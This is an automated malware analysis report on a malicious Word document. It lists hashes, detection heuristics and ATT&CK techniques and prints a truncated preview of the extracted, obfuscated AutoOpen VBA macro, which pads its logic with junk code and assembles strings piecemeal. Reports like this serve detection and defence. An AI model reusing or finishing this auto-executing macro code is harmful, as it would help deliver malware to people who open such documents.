Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c0d560738653b8d…

MALICIOUS

Office (OLE)

190.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 7b52e38a09ce8f64a59ef85a45d255d6 SHA-1: 0285d335aa3884fa7bd32010c5110f53251963cd SHA-256: 6c0d560738653b8d011a5af675eba95476c252e47ae3dacd93f5af335db1ebe2
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The 'AutoOpen' macro is present and configured to execute, indicating an attempt to run malicious code upon opening. The presence of 'GetObject' and p-code auto-execution heuristics further confirms the malicious intent. The macro itself appears to be obfuscated, but its structure and the heuristics strongly suggest it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6765625-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6765625-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44617 bytes
SHA-256: 784c5366fecb8c226f7417f3396572f0f7bd3d434582c1e1eeb4bf8b20c649a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub pasiqOaJAPO()

kaXEkeiuJIberUXeFEfiRuqu = 36065
KOxajYbupei = 16563

sOWeSicyLaHUvUZER = 91390
Dim xiwiFUSaSUcUwYzYnukEg
xiwiFUSaSUcUwYzYnukEg = Log(6)

xiwiFUSaSUcUwYzYnukEg = xiwiFUSaSUcUwYzYnukEg + Log(13)
End Sub
Sub AutoOpen()
On Error Resume Next
Dim RCcoVASuZAbfAMENaRaz
RCcoVASuZAbfAMENaRaz = Rnd(112)
If RCcoVASuZAbfAMENaRaz > 57934 Then
   RCcoVASuZAbfAMENaRaz = Exp(2)
End If
Dim dYrEteaAWUHo
dYrEteaAWUHo = Log(3)
Dim TEauFabOaUzEhYFaguTEwyZ
TEauFabOaUzEhYFaguTEwyZ = Rnd(139)
If TEauFabOaUzEhYFaguTEwyZ > 71950 Then
   TEauFabOaUzEhYFaguTEwyZ = Exp(9)
End If
Dim hUzasoLusUaeBehEayFuLU
hUzasoLusUaeBehEayFuLU = Log(7)

hUzasoLusUaeBehEayFuLU = hUzasoLusUaeBehEayFuLU + Log(12)

dYrEteaAWUHo = dYrEteaAWUHo + Log(10)
Dim TBoDAWUZeSVASUNeNIxAg
TBoDAWUZeSVASUNeNIxAg = Log(3)

TBoDAWUZeSVASUNeNIxAg = TBoDAWUZeSVASUNeNIxAg + Log(12)

Dim xUKISUkYzIJa
hUaOVOcAsENIhA = Val("31052.3") & "fUqozimyKuT"
daQIDAqoREhUDyVORoBG = Val("78527.4") & "mIMYdYpyaagY"
xUKISUkYzIJa = Log(8)
Debug.Print "XibyaApUgYzOKIpImeQaXOQ"

xUKISUkYzIJa = xUKISUkYzIJa + Log(10)
HAQevocehYzIr = Val("74325.5") & "puKUwIMOPIwYQAf"

Dim fOviHOwvZICujely
For fOviHOwvZICujely = 8 To 12
   Dim MEySOajEduVUHIibOHY
   MEySOajEduVUHIibOHY = Fix(82983)
Next
zuJEauqAnomYWUTAsatIsyJE = ""
Dim liqAteGAsUlySImEsma
Debug.Print "TUaEJibYVnoaf"
For liqAteGAsUlySImEsma = 1 To 13
   Dim dixbawolixUoDe
NeveGwAkOHPAzYnoLy = Val("40974.3") & "RUNIleTejoDuZYrutObIw"
Dim KaHUtUFegeW
KaHUtUFegeW = Rnd(137)
If KaHUtUFegeW > 29915 Then
   KaHUtUFegeW = Exp(7)
End If
   dixbawolixUoDe = Fix(66928)
Next

Dim NYLOzEBupEFiQOvIJOxiluS
NYLOzEBupEFiQOvIJOxiluS = Log(9)

NYLOzEBupEFiQOvIJOxiluS = NYLOzEBupEFiQOvIJOxiluS + Log(11)
LUJaqiwAQuwE = InStr("tzeVUviWeboKUMAcOG", "tzeVUviWeboKUMAcOGtzeVUviWeboKUMAcOG")
xebIoPegeMleBAZoMyge = InStr("zilYGANIiOywewubyMY", "zilYGANIiOywewubyMYzilYGANIiOywewubyMY")
bAbEpOguxnYPA = InStr("sofENYViWinifI", "sofENYViWinifIsofENYViWinifI")

 zuJEauqAnomYWUTAsatIsyJE = zuJEauqAnomYWUTAsatIsyJE + IIf((299 + 598) = 897, "sc", "5F0XA")
Dim pYzYdEfAWEWaQIzOBeiePaWu
pYzYdEfAWEWaQIzOBeiePaWu = Rnd(104)
If pYzYdEfAWEWaQIzOBeiePaWu > 91272 Then
   pYzYdEfAWEWaQIzOBeiePaWu = Exp(4)
End If
Dim wYvaJQAhalyDYJOxAs
wYvaJQAhalyDYJOxAs = Rnd(113)
Dim SaZuByjAcIHISaTAgodivekI
SaZuByjAcIHISaTAgodivekI = Log(1)

SaZuByjAcIHISaTAgodivekI = SaZuByjAcIHISaTAgodivekI + Log(13)
If wYvaJQAhalyDYJOxAs > 79790 Then
   wYvaJQAhalyDYJOxAs = Exp(3)
End If

zuJEauqAnomYWUTAsatIsyJE = zuJEauqAnomYWUTAsatIsyJE + IIf((91 + 182) = 273, "ri", "LL1i")
Dim phYvYlUcUv
phYvYlUcUv = Log(5)

phYvYlUcUv = phYvYlUcUv + Log(10)
GIzelaceviBYB = InStr("fUaOcaKAdpYN", "fUaOcaKAdpYNfUaOcaKAdpYN")
Dim baiUSilotuhAvifamOVap
Dim CIfyVOrEjovyl
CIfyVOrEjovyl = Log(4)

CIfyVOrEjovyl = CIfyVOrEjovyl + Log(13)
baiUSilotuhAvifamOVap = Log(7)

baiUSilotuhAvifamOVap = baiUSilotuhAvifamOVap + Log(11)
doTuTYBAxojeByjur = Val("40678.9") & "fiDAVYJEKiBUCUPeNEGiS"

Dim deTaSYWYdIvaGODo
deTaSYWYdIvaGODo = Log(10)

deTaSYWYdIvaGODo = deTaSYWYdIvaGODo + Log(11)
Dim mULOjArAmyfaMidoCuBISipu
mULOjArAmyfaMidoCuBISipu = Rnd(112)
If mULOjArAmyfaMidoCuBISipu > 88684 Then
Dim xQaSOrIwoBuPxcu
xQaSOrIwoBuPxcu = Rnd(119)
If xQaSOrIwoBuPxcu > 60623 Then
   xQaSOrIwoBuPxcu = Exp(9)
End If
   mULOjArAmyfaMidoCuBISipu = Exp(2)
End If
Dim DoxAXAgOBoaafiCEfY
Dim HaXIBUpERiiYQuaOFy
HaXIBUpERiiYQuaOFy = Log(2)

HaXIBUpERiiYQuaOFy = HaXIBUpERiiYQuaOFy + Log(12)
For DoxAXAgOBoaafiCEfY = 3 To 10
   Dim lIVOsoPIPIhoROFwyN
   lIVOsoPIPIhoROFwyN = Fix(89514)
Dim qazOraJupaRUpevujuhUKOwa
For qazOraJupaRUpevujuhUKOwa = 8 To 10
   Dim vEWXypYLOKe
   vEWXypYLOKe = Fix(3226)
Next
Next
zuJEauqAnomYWUTAsatIsyJE = zuJEauqAnomYWUTA
... (truncated)

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